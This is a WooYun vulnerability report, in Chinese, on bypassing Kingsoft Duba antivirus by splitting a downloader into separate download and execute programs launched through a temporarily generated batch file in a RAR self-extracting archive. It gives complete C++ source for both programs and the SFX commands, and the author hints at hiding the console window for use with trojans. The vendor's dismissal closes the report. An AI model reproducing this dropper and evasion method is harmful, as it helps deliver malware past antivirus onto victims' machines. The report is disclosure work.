当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058962

漏洞标题:同样的方式再绕过金山新毒霸(悟空)

相关厂商:金山毒霸

漏洞作者: 成王败寇

提交时间:2014-04-30 11:32

修复时间:2014-07-26 11:34

公开时间:2014-07-26 11:34

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-30: 细节已通知厂商并且等待厂商处理中
2014-04-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-06-24: 细节向核心白帽子及相关领域专家公开
2014-07-04: 细节向普通白帽子公开
2014-07-14: 细节向实习白帽子公开
2014-07-26: 细节向公众公开

简要描述:

之前绕过了百度杀毒,这次是金山新毒霸,后边还会有,这是个通病。。。。。。
要是乌云能够在“问题厂商”里面给个多选的功能就好了,就不用每次都重新提交一个了。

详细说明:

以前给公司卖命的时候有N多漏洞不能公布分享,现在俺就一个人,也想来乌云添砖加瓦!
启发式查杀和主动防御在不同的两个逻辑层面进行系统防护,但都依靠对恶意软件的恶意行为来进行查杀,如果恶意行为被分散在不同的逻辑层面上,将会令这两大防御功能同时失效。
拿下载者为例,下载者的恶意特征就是“下载+执行”,大多数启发式杀毒只要看到山寨软件有这个行为就会报毒了,但如果我们把“下载+执行”分成两个文件会怎么样?DownFile.exe负责下载,ExecFile.exe负责把下载下来的东西跑起来,单独看两个文件都是没有恶意行为的,但它们配合到一起,嘿嘿。。。。。你懂的,两个文件配合的方式很多,利用bat、vbs、压缩包、系统回调等等想怎么玩都行。
下面是实验过程细节:
两个简单的测试程序代码:

// DownFile.cpp : 负责下载一个exe程序,这里我用winrar的安装包替代,
//文件很大演示的时候能看清步骤,如果是马的话瞬间就结束了。
#include "stdafx.h"
#include "Wininet.h"
#pragma comment(lib, "Wininet")
#define BUFLEN 16384
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
ULONG dwFlags;
InternetGetConnectedState(&dwFlags,0);
HINTERNET hOpen;
if (dwFlags & INTERNET_CONNECTION_PROXY)
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY,NULL,NULL,0);
}
else
{
hOpen = InternetOpen("Microsoft Internet Explorer",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
}
if (!hOpen)
{
MessageBoxA(NULL,NULL,"Internet 连接错误",MB_OK);
return -1;
}
ULONG dwSize;
CHAR szHead[] = "Accept: */* \r\n\r\n";
VOID * szTemp[BUFLEN];
memset(szTemp,0,BUFLEN);
HINTERNET hConnect;
if (!(hConnect = InternetOpenUrlA(hOpen,"http://www.winrar.com.cn/download/wrar501sc.exe",szHead,lstrlenA(szHead),INTERNET_FLAG_DONT_CACHE|INTERNET_FLAG_PRAGMA_NOCACHE
|INTERNET_FLAG_RELOAD,0)))
{
MessageBoxA(NULL,NULL,"URL出错",MB_OK);
return -1;
}

HANDLE hFile = CreateFileA("whatsthis",GENERIC_READ|GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (hFile == NULL)
{
MessageBoxA(NULL,NULL,"创建文件出错",MB_OK);
return -1;
}
ULONG dwByteToRead = 0;
ULONG dwSizeOfRq = 4;
ULONG dwBytes = 0;
if (!HttpQueryInfo(hConnect,HTTP_QUERY_CONTENT_LENGTH|HTTP_QUERY_FLAG_NUMBER,(LPVOID)&dwByteToRead,&dwSizeOfRq,NULL))
{
dwByteToRead=0;
}
do
{
if (!InternetReadFile(hConnect,szTemp,BUFLEN,&dwSize))
{
MessageBoxA(NULL,NULL,"读网络文件出错",MB_OK);
CloseHandle(hFile);
return -1;
}
if (dwSize == 0)//下载完就退出循环
{
break;
}
else
{
DWORD lpNumberOfBytesWritten=0;
if (!WriteFile(hFile,szTemp,dwSize,&lpNumberOfBytesWritten,NULL))
{
MessageBoxA(NULL,NULL,"写文件出错",MB_OK);
}
dwBytes+=dwSize;
}

} while (TRUE);
CloseHandle(hFile);
//普通下载者会想办法在一个程序里执行这一步骤
//WinExec(".\\whatsthis",SW_SHOW);
return 0;
}
// ExecFile.cpp :负责运行下载下来的“马”
//
#include "stdafx.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
WinExec(".\\whatsthis",SW_SHOW);
return 0;
}


让两个程序配合起来这里我用的是rar自解压包的方式,懒得写程序了,rar是好东西!简单有效!自解压脚本命令如下:
Setup=cmd /c echo DownFile.exe>e.bat
Setup=cmd /c echo ExecFile.exe>>e.bat
Setup=cmd /c e.bat
TempMode
Silent=1
上面这段解释一下,e.bat负责让两个文件配合起来,这里使用临时生成的方式,如果直接使用写好的e.bat还是会报,临时生成就不报了,这是很关键的一个步骤,这样杀软就无法将2个文件之间建立起联系,这也同样是利用了杀软的逻辑处理不当的问题。
OK,压缩完包后拿去测试,整个过程毒霸都没报……
剩下的一些细节,例如隐藏黑窗体、减小体积就靠大家自由发挥了,你们懂的。

漏洞证明:

整个过程已经录像存证。
版本号为测试当天的最新版本,红色圆圈为生成好的下载者压缩包。

1.jpg


运行压缩包下载者后,测试用的rar安装包被自动下载并且成功执行,整个过程新毒霸没有任何提示。

2.jpg


修复方案:

先把特征码加进去吧,然后建立多个文件之间关联分析模型,切断配合路径。

版权声明:转载请注明来源 成王败寇@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-07-26 11:34

厂商回复:

最终下载的若为恶意程序,防御仍然会拦截。不存在防御绕过

最新状态:

暂无